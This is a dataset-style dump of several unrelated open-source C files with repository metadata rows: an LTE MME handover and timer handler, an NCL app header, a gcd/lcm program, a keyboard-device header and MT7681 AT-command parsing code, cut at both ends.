ue_context->e_utran_cgi.cell_identity.cell_id = handover_notify_pP->cgi.cell_identity.cell_id;
ue_context->e_utran_cgi.cell_identity.enb_id = handover_notify_pP->cgi.cell_identity.enb_id;
/** Update the enbUeS1apId (again). */
ue_context->enb_ue_s1ap_id = handover_notify_pP->enb_ue_s1ap_id; /**< Updating the enb_ue_s1ap_id here. */
// regenerate the enb_s1ap_id_key as enb_ue_s1ap_id is changed.
MME_APP_ENB_S1AP_ID_KEY(enb_s1ap_id_key, handover_notify_pP->cgi.cell_identity.enb_id, handover_notify_pP->enb_ue_s1ap_id);
/**
* Update the coll_keys with the new s1ap parameters.
*/
mme_ue_context_update_coll_keys (&mme_app_desc.mme_ue_contexts, ue_context,
enb_s1ap_id_key, /**< New key. */
ue_context->mme_ue_s1ap_id,
ue_context->imsi,
ue_context->mme_teid_s11,
ue_context->local_mme_teid_s10,
&ue_context->guti);
OAILOG_INFO(LOG_MME_APP, "Setting UE with mmeS1apUeId " MME_UE_S1AP_ID_FMT " to enbUeS1apId " ENB_UE_S1AP_ID_FMT" @handover_notify. \n", ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id);
/**
* This will overwrite the association towards the old eNB if single MME S1AP handover.
* The old eNB will be referenced by the enb_ue_s1ap_id.
*/
notify_s1ap_new_ue_mme_s1ap_id_association (ue_context->sctp_assoc_id_key, ue_context->enb_ue_s1ap_id, ue_context->mme_ue_s1ap_id);
/**
* Check the UE status:
*
* If we are in UE_REGISTERED state (intra-MME HO), start the timer for UE resource deallocation at the source eNB.
* todo: if TAU is performed, same timer should be checked and not restarted if its already running.
* The registration to the new MME is performed with the TAU (UE is in UE_UNREGISTERED/EMM_DEREGISTERED states).
* If the timer runs up and no S6A_CLReq is received from the MME, we assume an intra-MME handover and just remove the resources in the source eNB, else we perform an implicit detach (we don't check the MME UE status).
* We need to store now the enb_ue_s1ap_id and the enb_id towards the source enb as pending.
* No timers to stop in this step.
*
* Update the bearers in the SAE-GW for INTRA and INTER MME handover.
*/
if(s10_handover_proc->proc.type == MME_APP_S10_PROC_TYPE_INTRA_MME_HANDOVER){
/**
* Complete the registration of the UE.
* This should trigger an activation of the bearers.
*/
mme_app_mobility_complete(ue_context->mme_ue_s1ap_id, true);
OAILOG_FUNC_OUT (LOG_MME_APP);
}else{
OAILOG_DEBUG(LOG_MME_APP, "UE MME context with imsi " IMSI_64_FMT " and mmeS1apUeId " MME_UE_S1AP_ID_FMT " has successfully completed inter-MME handover process after HANDOVER_NOTIFY. \n",
ue_context->imsi, handover_notify_pP->mme_ue_s1ap_id);
/**
* UE came from S10 inter-MME handover. Not clear the pending_handover state yet.
* Sending Forward Relocation Complete Notification and waiting for acknowledgment.
*/
/** Only if MME_Status Context has been received (tester malfunctions). */
if(s10_handover_proc->mme_status_context_handled){
message_p = itti_alloc_new_message (TASK_MME_APP, S10_FORWARD_RELOCATION_COMPLETE_NOTIFICATION);
DevAssert (message_p != NULL);
itti_s10_forward_relocation_complete_notification_t *forward_relocation_complete_notification_p = &message_p->ittiMsg.s10_forward_relocation_complete_notification;
/** Set the destination TEID. */
forward_relocation_complete_notification_p->teid = s10_handover_proc->remote_mme_teid.teid; /**< Target S10-MME TEID. todo: what if multiple? */
/** Set the local TEID. */
forward_relocation_complete_notification_p->local_teid = ue_context->local_mme_teid_s10; /**< Local S10-MME TEID. */
forward_relocation_complete_notification_p->peer_ip = s10_handover_proc->remote_mme_teid.ipv4_address; /**< Set the target TEID. */
OAILOG_INFO(LOG_MME_APP, "Sending FW_RELOC_COMPLETE_NOTIF TO %X with remote S10-TEID " TEID_FMT ". \n.",
forward_relocation_complete_notification_p->peer_ip, forward_relocation_complete_notification_p->teid);
// todo: remove this and set at correct position!
mme_ue_context_update_ue_sig_connection_state (&mme_app_desc.mme_ue_contexts, ue_context, ECM_CONNECTED);
/**
* Sending a message to S10. Not changing any context information!
* This message actually implies that the handover is finished. Resetting the flags and statuses here of after Forward Relocation Complete AcknowledgE?! (MBR)
*/
itti_send_msg_to_task (TASK_S10, INSTANCE_DEFAULT, message_p);
} else{
/** Late Ho-Notify. */
s10_handover_proc->received_early_ho_notify = true;
}
}
}
//------------------------------------------------------------------------------
void
mme_app_handle_forward_relocation_complete_notification(
const itti_s10_forward_relocation_complete_notification_t* const forward_relocation_complete_notification_pP
)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S10_FORWARD_RELOCATION_COMPLETE_NOTIFICATION from S10. \n");
/** Check that the UE does exist. */
ue_context = mme_ue_context_exists_s10_teid (&mme_app_desc.mme_ue_contexts, forward_relocation_complete_notification_pP->teid); /**< Get the UE context from the local TEID. */
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "0 FORWARD_RELOCATION_COMPLETE_NOTIFICATION local S10 teid " TEID_FMT,
forward_relocation_complete_notification_pP->teid);
OAILOG_ERROR (LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", forward_relocation_complete_notification_pP->teid);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S10_MME, NULL, 0, "0 FORWARD_RELOCATION_COMPLETE_NOTIFICATION local S10 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
forward_relocation_complete_notification_pP->teid, ue_context->imsi);
/** Check that there is a pending handover process. */
mme_app_s10_proc_mme_handover_t * s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(!s10_handover_proc || s10_handover_proc->proc.type == MME_APP_S10_PROC_TYPE_INTRA_MME_HANDOVER){
/** Deal with the error case. */
OAILOG_ERROR(LOG_MME_APP, "UE MME context with IMSI " IMSI_64_FMT " and mmeS1apUeId: " MME_UE_S1AP_ID_FMT " in state %d has not a valid INTER-MME S10 procedure running. "
"Ignoring received S10_FORWARD_RELOCATION_COMPLETE_NOTIFICATION. \n", ue_context->imsi, ue_context->mme_ue_s1ap_id, ue_context->mm_state);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Send S10 Forward Relocation Complete Notification. */
/**< Will stop all existing NAS timers.. todo: Any other timers than NAS timers? What about the UE transactions? */
message_p = itti_alloc_new_message (TASK_MME_APP, S10_FORWARD_RELOCATION_COMPLETE_ACKNOWLEDGE);
DevAssert (message_p != NULL);
itti_s10_forward_relocation_complete_acknowledge_t *forward_relocation_complete_acknowledge_p = &message_p->ittiMsg.s10_forward_relocation_complete_acknowledge;
memset ((void*)forward_relocation_complete_acknowledge_p, 0, sizeof (itti_s10_forward_relocation_complete_acknowledge_t));
/** Set the destination TEID. */
forward_relocation_complete_acknowledge_p->teid = s10_handover_proc->remote_mme_teid.teid; /**< Target S10-MME TEID. */
/** Set the local TEID. */
forward_relocation_complete_acknowledge_p->local_teid = ue_context->local_mme_teid_s10; /**< Local S10-MME TEID. */
/** Set the cause. */
forward_relocation_complete_acknowledge_p->cause.cause_value = REQUEST_ACCEPTED; /**< Check the cause.. */
/** Set the peer IP. */
forward_relocation_complete_acknowledge_p->peer_ip.s_addr = s10_handover_proc->remote_mme_teid.ipv4_address.s_addr; /**< Set the target TEID. */
/** Set the transaction. */
forward_relocation_complete_acknowledge_p->trxn = forward_relocation_complete_notification_pP->trxn; /**< Set the target TEID. */
itti_send_msg_to_task (TASK_S10, INSTANCE_DEFAULT, message_p);
/** ECM is in connected state.. UE will be detached implicitly. */
ue_context->s1_ue_context_release_cause = S1AP_SUCCESSFUL_HANDOVER; /**< How mapped to correct radio-Network cause ?! */
/**
* Start timer to wait the handover/TAU procedure to complete.
* A Clear_Location_Request message received from the HSS will cause the resources to be removed.
* If it was not a handover but a context request/response (TAU), the MME_MOBILITY_COMPLETION timer will be started here, else @ FW-RELOC-COMPLETE @ Handover.
* Resources will not be removed if that is not received (todo: may it not be received or must it always come
* --> TS.23.401 defines for SGSN "remove after CLReq" explicitly).
*/
ue_description_t * old_ue_reference = s1ap_is_enb_ue_s1ap_id_in_list_per_enb(ue_context->enb_ue_s1ap_id, ue_context->e_utran_cgi.cell_identity.enb_id);
if(old_ue_reference){
/** Stop the timer of the handover procedure first. */
if (s10_handover_proc->proc.timer.id != MME_APP_TIMER_INACTIVE_ID) {
if (timer_remove(s10_handover_proc->proc.timer.id, NULL)) {
OAILOG_ERROR (LOG_MME_APP, "Failed to stop handover procedure timer for the INTRA-MME handover for UE id %d \n", ue_context->mme_ue_s1ap_id);
}
s10_handover_proc->proc.timer.id = MME_APP_TIMER_INACTIVE_ID;
}
/*
* Start the timer of the ue-reference and also set it to the procedure (only if target-mme for inter-MME S1ap handover).
* Timeout will occur in S1AP layer.
*/
if (timer_setup (mme_config.mme_mobility_completion_timer, 0,
TASK_S1AP, INSTANCE_DEFAULT, TIMER_ONE_SHOT, (void *)ue_context->enb_s1ap_id_key, &(old_ue_reference->s1ap_handover_completion_timer.id)) < 0) {
OAILOG_ERROR (LOG_MME_APP, "Failed to start >s1ap_handover_completion for enbUeS1apId " ENB_UE_S1AP_ID_FMT " for duration %d \n", old_ue_reference->enb_ue_s1ap_id, mme_config.mme_mobility_completion_timer);
old_ue_reference->s1ap_handover_completion_timer.id = MME_APP_TIMER_INACTIVE_ID;
s10_handover_proc->proc.timer.id = MME_APP_TIMER_INACTIVE_ID;
} else {
OAILOG_DEBUG (LOG_MME_APP, "MME APP : Completed Handover Procedure at (source) MME side after handling S1AP_HANDOVER_NOTIFY. "
"Activated the S1AP Handover completion timer enbUeS1apId " ENB_UE_S1AP_ID_FMT ". Removing source eNB resources after timer.. Timer Id %u. Timer duration %d \n",
old_ue_reference->enb_ue_s1ap_id, old_ue_reference->s1ap_handover_completion_timer.id, mme_config.mme_mobility_completion_timer);
/** For the case of the S10 handover, add the timer ID to the MME_APP UE context to remove the UE context. */
s10_handover_proc->proc.timer.id = old_ue_reference->s1ap_handover_completion_timer.id;
}
}else{
OAILOG_DEBUG(LOG_MME_APP, "No old UE_REFERENCE was found for mmeS1apUeId " MME_UE_S1AP_ID_FMT " and enbUeS1apId "ENB_UE_S1AP_ID_FMT ". Not starting a new timer. \n",
ue_context->enb_ue_s1ap_id, ue_context->e_utran_cgi.cell_identity.enb_id);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_forward_relocation_complete_acknowledge(
const itti_s10_forward_relocation_complete_acknowledge_t * const forward_relocation_complete_acknowledgement_pP
)
{
struct ue_context_s *ue_context = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received S10_FORWARD_RELOCATION_COMPLETE_ACKNOWLEDGEMENT from S10 for TEID %d. \n", forward_relocation_complete_acknowledgement_pP->teid);
/** Check that the UE does exist. */
ue_context = mme_ue_context_exists_s10_teid(&mme_app_desc.mme_ue_contexts, forward_relocation_complete_acknowledgement_pP->teid);
if (ue_context == NULL) {
OAILOG_ERROR(LOG_MME_APP, "An UE MME context does not exist for UE with s10 teid %d. \n", forward_relocation_complete_acknowledgement_pP->teid);
MSC_LOG_EVENT (MSC_MMEAPP_MME, "S10_FORWARD_RELOCATION_COMPLETE_ACKNOWLEDGEMENT. No UE existing teid %d. \n", forward_relocation_complete_acknowledgement_pP->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/*
* Complete the handover procedure (register).
* We will again enter the method when TAU is complete.
*/
mme_app_mobility_complete(ue_context->mme_ue_s1ap_id, true);
/** S1AP inter-MME handover is complete. */
OAILOG_INFO(LOG_MME_APP, "UE_Context with IMSI " IMSI_64_FMT " and mmeUeS1apId: " MME_UE_S1AP_ID_FMT " successfully completed INTER-MME (S10) handover procedure! \n",
ue_context->imsi, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_mobile_reachability_timer_expiry (struct ue_context_s *ue_context)
{
OAILOG_FUNC_IN (LOG_MME_APP);
DevAssert (ue_context != NULL);
ue_context->mobile_reachability_timer.id = MME_APP_TIMER_INACTIVE_ID;
OAILOG_INFO (LOG_MME_APP, "Expired- Mobile Reachability Timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
// Start Implicit Detach timer
if (timer_setup (ue_context->implicit_detach_timer.sec, 0,
TASK_MME_APP, INSTANCE_DEFAULT, TIMER_ONE_SHOT, (void *)&(ue_context->mme_ue_s1ap_id), &(ue_context->implicit_detach_timer.id)) < 0) {
OAILOG_ERROR (LOG_MME_APP, "Failed to start Implicit Detach timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
ue_context->implicit_detach_timer.id = MME_APP_TIMER_INACTIVE_ID;
} else {
OAILOG_DEBUG (LOG_MME_APP, "Started Implicit Detach timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_implicit_detach_timer_expiry (struct ue_context_s *ue_context)
{
OAILOG_FUNC_IN (LOG_MME_APP);
DevAssert (ue_context != NULL);
MessageDef *message_p = NULL;
OAILOG_INFO (LOG_MME_APP, "Expired- Implicit Detach timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
ue_context->implicit_detach_timer.id = MME_APP_TIMER_INACTIVE_ID;
// Initiate Implicit Detach for the UE
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_IMPLICIT_DETACH_UE_IND_MESSAGE");
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_initial_context_setup_rsp_timer_expiry (struct ue_context_s *ue_context)
{
OAILOG_FUNC_IN (LOG_MME_APP);
DevAssert (ue_context != NULL);
MessageDef *message_p = NULL;
OAILOG_INFO (LOG_MME_APP, "Expired- Initial context setup rsp timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
ue_context->initial_context_setup_rsp_timer.id = MME_APP_TIMER_INACTIVE_ID;
/* *********Abort the ongoing procedure*********
* Check if UE is registered already that implies service request procedure is active. If so then release the S1AP
* context and move the UE back to idle mode. Otherwise if UE is not yet registered that implies attach procedure is
* active. If so,then abort the attach procedure and release the UE context.
*/
ue_context->s1_ue_context_release_cause = S1AP_INITIAL_CONTEXT_SETUP_FAILED;
if (ue_context->mm_state == UE_UNREGISTERED) {
// Initiate Implicit Detach for the UE
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
} else {
// Release S1-U bearer and move the UE to idle mode
mme_app_send_s11_release_access_bearers_req(ue_context);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_initial_context_setup_failure (
const itti_mme_app_initial_context_setup_failure_t * const initial_ctxt_setup_failure_pP)
{
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
OAILOG_DEBUG (LOG_MME_APP, "Received MME_APP_INITIAL_CONTEXT_SETUP_FAILURE from S1AP\n");
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, initial_ctxt_setup_failure_pP->mme_ue_s1ap_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: %d \n", initial_ctxt_setup_failure_pP->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
// Stop Initial context setup process guard timer,if running
if (ue_context->initial_context_setup_rsp_timer.id != MME_APP_TIMER_INACTIVE_ID) {
if (timer_remove(ue_context->initial_context_setup_rsp_timer.id, NULL)) {
OAILOG_ERROR (LOG_MME_APP, "Failed to stop Initial Context Setup Rsp timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
}
ue_context->initial_context_setup_rsp_timer.id = MME_APP_TIMER_INACTIVE_ID;
}
/* *********Abort the ongoing procedure*********
* Check if UE is registered already that implies service request procedure is active. If so then release the S1AP
* context and move the UE back to idle mode. Otherwise if UE is not yet registered that implies attach procedure is
* active. If so,then abort the attach procedure and release the UE context.
*/
ue_context->s1_ue_context_release_cause = S1AP_INITIAL_CONTEXT_SETUP_FAILED;
if (ue_context->mm_state == UE_UNREGISTERED) {
// Initiate Implicit Detach for the UE
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
} else {
// Release S1-U bearer and move the UE to idle mode
mme_app_send_s11_release_access_bearers_req(ue_context);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
| 59.690362 | 248 | 0.737842 |
fb06bbf035a802684dda1f55755becb982d13cc1 | 1,997 | h | C | ni/src/lib/hlu/AppP.h | tenomoto/ncl | a87114a689a1566e9aa03d85bcf6dc7325b47633 | [
"Apache-2.0"
] | 210 | 2016-11-24T09:05:08.000Z | 2022-03-24T19:15:32.000Z | ni/src/lib/hlu/AppP.h | tenomoto/ncl | a87114a689a1566e9aa03d85bcf6dc7325b47633 | [
"Apache-2.0"
] | 156 | 2017-09-22T09:56:48.000Z | 2022-03-30T07:02:21.000Z | ni/src/lib/hlu/AppP.h | tenomoto/ncl | a87114a689a1566e9aa03d85bcf6dc7325b47633 | [
"Apache-2.0"
] | 58 | 2016-12-14T00:15:22.000Z | 2022-03-15T09:13:00.000Z | /*
* $Id: AppP.h,v 1.8 1997-02-27 20:13:00 boote Exp $
*/
/************************************************************************
* *
* Copyright (C) 1994 *
* University Corporation for Atmospheric Research *
* All Rights Reserved *
* *
************************************************************************/
/*
* File: AppP.h
*
* Author: Jeff W. Boote
* National Center for Atmospheric Research
* PO 3000, Boulder, Colorado
*
* Date: Fri Jul 29 12:33:46 MDT 1994
*
* Description:
*/
#ifndef _NAppP_h
#define _NAppP_h
#include <ncarg/hlu/BaseP.h>
#include <ncarg/hlu/AppI.h>
#include <ncarg/hlu/ResourcesP.h>
typedef struct _NhlAppLayerRec *NhlAppLayer;
typedef struct _NhlAppClassRec *NhlAppClass;
typedef struct _NhlAppLayerPart {
/* public resource fields */
NhlString usr_appdir;
NhlString sys_appdir;
NhlString file_suffix;
/* post-resdb resources */
NhlBoolean default_parent;
NhlGenArray resources;
/* private fields */
NhlPointer res_strings;
NhlPointer clineopts;
int *argc_in_out;
NhlString *argv_in_out;
_NhlC_OR_F init_mode;
NhlBoolean default_app;
NhlBoolean no_appDB;
NrmDatabase appDB;
NhlString *values;
NrmResourceList res;
int nres;
_NhlArgList args;
int nargs;
} NhlAppLayerPart;
typedef struct _NhlAppLayerRec {
NhlBaseLayerPart base;
NhlAppLayerPart app;
} NhlAppLayerRec;
typedef struct _NhlAppTableRec NhlAppTableRec, *NhlAppTable;
struct _NhlAppTableRec{
NhlAppLayer app;
NhlAppTable next;
};
typedef struct _NhlAppClassPart {
NhlResourceList resources;
int num_resources;
NhlAppLayer default_app;
NhlAppLayer current_app;
NrmDatabase baseDB;
int error_id;
int workspace_id;
NhlAppTable app_objs; /* except default_app */
NhlPointer default_guidata;
} NhlAppClassPart;
typedef struct _NhlAppClassRec {
NhlBaseClassPart base_class;
NhlAppClassPart app_class;
} NhlAppClassRec;
extern NhlAppClassRec NhlappClassRec;
#endif /* _NAppP_h */
| 21.945055 | 73 | 0.680521 |
31c163ea290d961f581588ba278b433dc952669c | 4,105 | c | C | Misc/euclidAlgorithm.c | bradencarlson/sage-jupyter | 602f1fadf2ac893d50e7798cff5918e682c6441f | [
"MIT"
] | null | null | null | Misc/euclidAlgorithm.c | bradencarlson/sage-jupyter | 602f1fadf2ac893d50e7798cff5918e682c6441f | [
"MIT"
] | 18 | 2021-11-12T02:14:18.000Z | 2022-02-19T04:18:09.000Z | euclidAlgorithm.c | bradencarlson/number-theory | 1b60fae548590e7d4583bdbc1c86628ec59a8e32 | [
"MIT"
] | null | null | null | // Computes the greatest common divisor of two numbers using the
// Euclidian Algorithm
// Braden Carlson 09/21/2021
#include <stdio.h>
#include <math.h>
void gcd( int x, int y);
int max( int x, int y);
int min( int x, int y);
int quotients[50];
int remainders[50];
int main( void ) {
int number1;
int number2;
printf("%s", "Enter the two integers: ");
scanf("%d %d", &number1, &number2);
gcd(number1,number2);
puts("");
}
void gcd( int x, int y) {
// finds the absolute values of the numbers passed into the method,
// then finds the maximum and minimum, and assigns those values
// x and y, where the original values of x and y are now stored in aOrig and bOrig.
int a = fabs(x);
int b = fabs(y);
int maximum = max(a,b);
int minimum = min(a,b);
int aOrig = x;
int bOrig = y;
x = maximum;
y = minimum;
// if a was negative: set aFlipped to true
// similar for b
_Bool aFlipped = 0;
_Bool bFlipped = 0;
if (aOrig==-fabs(aOrig)) {
aFlipped = 1;
}
if (bOrig==-fabs(bOrig)) {
bFlipped = 1;
}
int q = 0;
unsigned int r = 0;
unsigned int count = 0;
// Computes each step of the division algorithm, until there is no
// remainder left. Note that this algorithm only uses the positive
// values of the original integers passed to the method.
while ( x % y != 0 ) {
q = x / y;
r = x % y;
quotients[count] = q;
remainders[count] = r;
printf("%d = %d * %d + %d\n", x, q, y, r);
x = y;
y = r;
count++;
} // end while loop
printf("%d = %d * %d\n", x, x/y, y);
int x1 = 1;
int y1 = -quotients[--count];
// uncomment this line and the prinf statment in the following
// for loop to see and test the values produced by the backsubstitutions
// from the Euclidean Algorithm.
// printf("%d %d\n", x1, y1);
for (int i = 1 ; i <= count ; i++) {
if (i % 2 == 1) {
x1=x1-quotients[count-i]*y1;
}
else if (i % 2 == 0 ) {
y1=y1-quotients[count-i]*x1;
} // end if.
// printf("%d %d\n", x1, y1);
} // end for loop.
// enter a blank line between the steps and the results.
puts("");
// depending on which of the two integers, if any, were negative,
// print out the results as neccessary.
if ( aFlipped==1 && bFlipped==0 ) {
printf("gcd(%d,%d)=%d\n", -a, b, y);
} else if ( aFlipped==0 && bFlipped==1) {
printf("gcd(%d,%d)=%d\n", a, -b, y);
} else if ( aFlipped==1 && bFlipped==1 ) {
printf("gcd(%d,%d)=%d\n", -a, -b, y);
} else if ( aFlipped==0 && bFlipped==0 ) {
printf("gcd(%d,%d)=%d\n", a, b, y);
}
// depending on which of the two integers, if any, were negative,
// print out the corresponding linear combination that equals
// their gcd.
if (a*x1+b*y1==y) {
if ( aFlipped==1 && bFlipped==0 ) {
printf("%d(%d)+%d(%d)=%d\n", -x1, -a, y1, b, y);
} else if ( aFlipped==0 && bFlipped==1) {
printf("%d(%d)+%d(%d)=%d\n", x1, a, -y1, -b, y);
} else if ( aFlipped==1 && bFlipped==1 ) {
printf("%d(%d)+%d(%d)=%d\n", -x1, -a, -y1, -b, y);
} else if ( aFlipped==0 && bFlipped==0 ) {
printf("%d(%d)+%d(%d)=%d\n", x1, a, y1, b, y);
}
} else if (a*y1+b*x1==y) {
if ( aFlipped==1 && bFlipped==0 ) {
printf("%d(%d)+%d(%d)=%d\n", -y1, -a, x1, b, y);
} else if ( aFlipped==0 && bFlipped==1) {
printf("%d(%d)+%d(%d)=%d\n", y1, a, -x1, -b, y);
} else if ( aFlipped==1 && bFlipped==1 ) {
printf("%d(%d)+%d(%d)=%d\n", -y1, -a, -x1, -b, y);
} else if ( aFlipped==0 && bFlipped==0 ) {
printf("%d(%d)+%d(%d)=%d\n", y1, a, x1, b, y);
}
} // end if statement.
// print out their least common multiple.
printf("lcm(%d,%d)=%d\n", a, b, a*b/y);
} // end gcd method.
int max( int x, int y) {
return x > y ? x : y;
}
int min( int x, int y) {
return x > y ? y : x;
}
| 26.655844 | 88 | 0.508892 |
050603e36b180e480792cbdf51e5c5b662040984 | 136 | h | C | src/modules/illume2/e_mod_kbd_device.h | tizenorg/framework.uifw.e17 | da657a5ef0c9d2b780cbd7e26880058fe09acf4a | [
"BSD-2-Clause"
] | null | null | null | src/modules/illume2/e_mod_kbd_device.h | tizenorg/framework.uifw.e17 | da657a5ef0c9d2b780cbd7e26880058fe09acf4a | [
"BSD-2-Clause"
] | null | null | null | src/modules/illume2/e_mod_kbd_device.h | tizenorg/framework.uifw.e17 | da657a5ef0c9d2b780cbd7e26880058fe09acf4a | [
"BSD-2-Clause"
] | null | null | null | #ifndef E_MOD_KBD_DEVICE_H
# define E_MOD_KBD_DEVICE_H
void e_mod_kbd_device_init(void);
void e_mod_kbd_device_shutdown(void);
#endif
| 17 | 37 | 0.845588 |
10272858c65d5153098845bf98ed53c0800c459a | 35,128 | c | C | src/cust/iot_at_cmd.c | AzenkChina/MT7681 | e4d7d5bcf4be3bfc009ec3c302b19469a68a4a5b | [
"BSD-2-Clause"
] | 1 | 2021-07-13T17:23:41.000Z | 2021-07-13T17:23:41.000Z | src/cust/iot_at_cmd.c | AzenkChina/MT7681 | e4d7d5bcf4be3bfc009ec3c302b19469a68a4a5b | [
"BSD-2-Clause"
] | null | null | null | src/cust/iot_at_cmd.c | AzenkChina/MT7681 | e4d7d5bcf4be3bfc009ec3c302b19469a68a4a5b | [
"BSD-2-Clause"
] | null | null | null | #include <stdio.h>
#include "string.h"
#include "types.h"
#include "uart.h"
#include "iot_custom.h"
#include "iot_api.h"
#include "eeprom.h"
#include "uart_sw.h"
#include "bmd.h"
#include "ate.h"
#include "wifi_task.h"
#ifdef CONFIG_SOFTAP
#include "ap_pub.h"
#endif
/******************************************************************************
* MODULE NAME: iot_at_cmd.c
* PROJECT CODE: __MT7681__
* DESCRIPTION:
* DESIGNER:
* DATE: Jan 2014
*
* SOURCE CONTROL:
*
* LICENSE:
* This source code is copyright (c) 2014 Mediatek. Inc.
* All rights reserved.
*
* REVISION HISTORY:
* V1.0.0 Jan 2014 - Initial Version V1.0
*
*
* SOURCE:
* ISSUES:
* First Implementation.
* NOTES TO USERS:
*
******************************************************************************/
/******************************************************************************
* MACRO DEFINITION
******************************************************************************/
#define SYNC_STATE_0 0
#define SYNC_STATE_1 1
#define SYNC_STATE_2 2
#define SYNC_STATE_3 3
/******************************************************************************
* GLOBAL PARAMTER
******************************************************************************/
int8 state = 0;
#if (ATCMD_ATE_SUPPORT == 1)
bool gCaliEnabled = FALSE;
extern ATE_INFO gATEInfo;
#endif
/******************************************************************************
* EXTERN PARAMTER
******************************************************************************/
extern char *optarg;
extern int16 optind;
extern int iot_uart_rx_mode;
extern MLME_STRUCT *pIoTMlme;
#if (EP_LOAD_SUPPORT == 1)
extern EEPROM_CFG eepcfg;
#endif
extern PKT_DESC uartrx2_desc; //descrypt packet length in uart rx ring2
extern BUFFER_INFO uartrx2_info; //uart rx ring2
/******************************************************************************
* EXTERN FUNCTION
******************************************************************************/
/******************************************************************************
* FUNCTION
******************************************************************************/
void iot_atcmd_resp_header(
IN OUT int8 *pHeader,
IN OUT size_t* plen,
IN int8* ATcmdPrefix,
IN int8* ATcmdType)
{
size_t len2 =0;
/*AT command prefix*/
*plen = strlen(ATcmdPrefix);
memcpy(pHeader, ATcmdPrefix, *plen);
/*AT command Type*/
len2 = strlen(ATcmdType);
memcpy(pHeader + *plen, ATcmdType, len2);
*plen += len2;
len2 = strlen("=");
memcpy(pHeader + *plen, "=", len2);
*plen += len2;
return;
}
#if (ATCMD_UART_SUPPORT == 1) && (UART_SUPPORT == 1)
/* Format: AT#Uart -b57600 -w7 -p1 -s1 +enter*/
int16 iot_exec_atcmd_uart(puchar pCmdBuf, int16 AtCmdLen)
{
iot_atcmd_uart_atcfg(pCmdBuf, AtCmdLen);
return 0;
}
#endif
#if (ATCMD_ATE_SUPPORT == 1) //20140528 delete old ATE calibration cmd handler
/*AT#ATECAL -S0*/
/*AT#ATECAL -S1 -C1 -m1 -c7 -b0 -g0 -f65 -p30 -l800 -n100000 -r10+enter*/
/*AT#ATECAL -S2 -C1 -t5000+enter*/
int16 iot_exec_atcmd_ate_cal2(puchar pCmdBuf, int16 AtCmdLen)
{
char *argv[MAX_OPTION_COUNT];
char *opString = "S:m:c:b:g:f:p:l:n:r:t:C:u:P:?";
char *endptr = NULL;
long num = 0;
int16 argc = 0;
char opt = 0;
uint8 OldValue=0;
split_string_cmd(pCmdBuf, AtCmdLen, &argc, argv);
opt = getopt(argc, argv, opString);
/*To indicate Calibration mode is enabled for Recovery/Calibration State Machine*/
gCaliEnabled = TRUE;
while (opt != -1) {
switch (opt) {
case 'S':
/*ATE start, ATE TxMode, ATE RxMode (0:START, 1:TxMode , 2:RxMode)*/
num = simple_strtol(optarg,&endptr,10);
ATESTART((uint8)num);
break;
case 'C':
/*ATE Set Channel (0~14)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_Switch_CH((uint8)num);
break;
case 'm':
/*ATE Tx Mode (0:CCK, 1:OFDM, 2:HTMIX, 3:HT_GREEN_FIELD)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_MODE_Proc((uint8)num);
break;
case 'c':
/*ATE MCS rate (MCS num is ralated with TxMode)*/
num = simple_strtol(optarg,&endptr,10);
Set_ATE_TX_MCS_Proc((uint8)num);
break;
case 'b':
